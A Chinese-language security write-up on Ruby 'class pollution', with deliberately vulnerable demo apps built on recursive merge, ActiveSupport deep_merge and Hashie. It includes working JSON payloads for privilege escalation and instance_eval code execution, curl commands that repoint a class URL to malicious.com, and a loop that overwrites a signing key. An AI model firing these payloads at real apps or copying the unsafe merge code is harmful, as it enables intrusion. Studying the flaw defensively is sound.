引言
在这篇文章中,我们将探讨Ruby中一类很少被讨论的漏洞,称为“类污染”。这个概念灵感来源于JavaScript中的“原型污染”思想,即利用递归合并操作污染对象的原型,从而导致意外行为。这个想法最初在一篇关于Python原型污染的博客文章中讨论过,其中研究人员使用递归合并来污染类变量,并最终通过__globals__属性污染全局变量。
在Ruby中,我们可以将类污染分为三种主要情况:
- 对哈希(Hash)进行合并:在这种情况下,类污染是不可能的,因为合并操作仅限于哈希本身。
- 对属性进行合并(非递归):在这里,我们可以污染对象的实例变量,可能通过注入返回值来替换方法。这种污染仅限于对象本身,不影响类。
1
2
|
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
|
- 对属性进行合并(递归):在这种情况下,合并的递归特性使我们能够脱离对象上下文,污染父类甚至无关类的属性或方法,从而对应用程序产生更广泛的影响。
对属性进行合并
让我们从一个代码示例开始,研究如何利用递归合并来修改对象方法并改变应用程序的行为。这种污染仅限于对象本身。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
|
require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
|
在提供的代码中,我们对User对象的属性执行递归合并。这允许我们注入或覆盖值,从而可能改变对象的行为,而无需直接修改类定义。
工作原理:
-
初始化和设置:
User对象使用特定的属性进行初始化:name、age和details。这些属性作为实例变量存储在对象中。
-
合并:
merge_with方法被调用,其参数JSON输入表示要合并到User对象中的额外数据。
-
改变对象行为:
通过传递精心构造的JSON数据,我们可以修改或注入新的实例变量,从而影响User对象的行为。
例如,在authorize方法中,to_s方法决定用户是否被授予管理员权限。通过注入一个返回值为"Admin"的新to_s方法,我们可以提升用户的权限。
类似地,在health_check方法中,我们可以通过覆盖通过instance_eval调用的方法来注入任意代码执行。
漏洞利用示例:
限制:
上述更改仅限于特定的对象实例,不影响同一类的其他实例。这意味着虽然对象的行为被改变,但同一类的其他对象保持不变。
这个例子突显了看似无害的操作(如递归合并)如果管理不当,如何被利用来引入严重的漏洞。通过理解这些风险,开发人员可以更好地保护他们的应用程序免受此类攻击。
真实案例
接下来,我们将探讨Ruby中执行合并操作的两个最流行的库,看看它们如何容易受到类污染的影响。值得注意的是,可能还有其他库受到此类问题的影响,并且这些漏洞的总体影响各不相同。
1. ActiveSupport 的 deep_merge
ActiveSupport 是 Ruby on Rails 的一个内置组件,为哈希提供了deep_merge方法。就其本身而言,此方法不可利用,因为它仅限于哈希。但是,如果与类似以下的代码结合使用,它可能变得脆弱:
1
2
3
4
5
6
7
8
9
10
11
|
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
|
在这个例子中,如果按照所示使用deep_merge,我们可以像第一个例子一样利用它,从而导致应用程序行为的潜在危险变化。
2. Hashie
Hashie 库在 Ruby 中被广泛用于创建灵活的数据结构,提供诸如deep_merge等功能。然而,与之前 ActiveSupport 的例子不同,Hashie 的deep_merge方法直接对对象属性进行操作,而不是普通的哈希。这使其更容易受到属性污染。
Hashie 有一个内置机制,防止在合并过程中直接用属性替换方法。通常,如果你试图通过deep_merge用一个属性覆盖一个方法,Hashie 会阻止这种尝试并发出警告。但是,此规则有特定的例外:以 _、! 或 ? 结尾的属性仍然可以合并到对象中,即使它们与现有方法冲突。
关键点:
- 方法保护:Hashie 保护方法名不被以
_、! 或 ? 结尾的属性直接覆盖。这意味着,例如,尝试用 to_s_ 属性替换 to_s 方法不会引发错误,但该方法也不会被替换。to_s_ 的值不会覆盖方法行为,从而确保现有方法功能保持不变。这种保护机制对于维护 Hashie 对象中方法的完整性至关重要。
_ 的特殊处理:关键漏洞在于对 _ 作为独立属性的处理。在 Hashie 中,当你访问 _ 时,它会返回一个与你正在交互的类相同的新 Mash 对象(本质上是一个临时对象)。这种行为允许攻击者访问和使用这个新的 Mash 对象,就好像它是一个真实的属性一样。虽然方法不能被替换,但 _ 属性的这个特性仍然可以被利用来注入或修改值。
例如,通过向 Mash 中注入 "_": "Admin",攻击者可以欺骗应用程序访问由 _ 创建的临时 Mash 对象,而这个对象可以包含绕过保护措施的恶意注入属性。
一个实际例子
考虑以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
require 'json'
require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
|
在提供的代码中,我们正在利用 Hashie 对 _ 的处理来操纵授权过程的行为。当调用 _.to_s 时,它不是返回方法定义的值,而是访问一个新创建的 Mash 对象,我们可以在其中注入值 "Admin"。这允许攻击者通过将数据注入到临时 Mash 对象中来绕过基于方法的授权检查。
例如,JSON 载荷 {"_": "Admin"} 将字符串 “Admin” 注入到由 _ 创建的临时 Mash 对象中,即使用户的 to_s 方法本身没有被直接覆盖,也允许通过 authorize 方法授予用户管理员访问权限。
这个漏洞突出了 Hashie 库的某些特性如何被利用来绕过应用程序逻辑,即使有保护措施防止方法覆盖。
脱离对象以污染类
当合并操作是递归的并以属性为目标时,有可能脱离对象上下文,并污染类、其父类甚至其他无关类的属性或方法。这种污染会影响整个应用程序上下文,并可能导致严重的漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
|
require 'json'
require 'sinatra/base'
require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
end
|
在下面的例子中,我们展示了两种不同类型的类污染:
(A) 污染父类:通过递归合并属性,我们可以修改父类中的变量。这种修改会影响该类的所有实例,并可能导致整个应用程序出现意外行为。
(B) 污染其他类:通过暴力破解子类选择,我们最终可以定位并污染特定的类。这种方法涉及重复尝试污染随机子类,直到目标类被感染。虽然有效,但这种方法可能由于随机性和过度感染的可能性而导致问题。
两种攻击的详细说明
(A) 污染父类
在这种攻击中,我们使用递归合并操作来修改Person类(User的父类)中的@@url变量。通过将恶意URL注入到此变量中,我们可以操纵应用程序后续发出的HTTP请求。
例如,使用以下curl命令:
1
|
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
我们成功地污染了Person类中的@@url变量。当访问/launch-curl-command端点时,它现在会向http://malicious.com发送请求,而不是原始URL。
这演示了递归合并如何脱离对象级别并修改类级别的变量,从而影响整个应用程序。
(B) 污染其他类
这种攻击利用暴力破解来感染特定的子类。通过反复尝试向随机子类注入恶意数据,我们最终可以定位并污染负责数据签名的KeySigner类。
例如,使用以下循环curl命令:
1
|
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
我们试图污染KeySigner中的@@signing_key变量。经过多次尝试后,KeySigner类被感染,签名密钥被替换为我们注入的密钥。
这种攻击突显了递归合并与暴力子类选择相结合的危险性。虽然有效,但这种方法由于其攻击性可能导致问题,可能造成类的过度感染。
在后来的例子中,我们设置了一个HTTP服务器来演示受感染的类如何在多个HTTP请求中保持污染状态。这些感染的持久性表明,一旦一个类被污染,整个应用程序上下文就会受到损害,并且涉及该类的所有未来操作都将表现异常。
服务器设置还允许我们通过特定的端点轻松检查这些受感染变量的状态。例如,/check-infected-vars端点输出@@url和@@signing_key变量的当前值,确认感染是否成功。
这种方法清楚地展示了Ruby中的类污染如何具有持久且深远的影响,使其成为需要保护的关键领域。
结论
这里进行的研究强调了Ruby中类污染的风险,尤其是在涉及递归合并时。这些漏洞特别危险,因为它们允许攻击者脱离对象的限制,并操纵更广泛的应用程序上下文。通过理解这些机制并仔细考虑如何处理数据合并,可以降低Ruby应用程序中类污染的风险。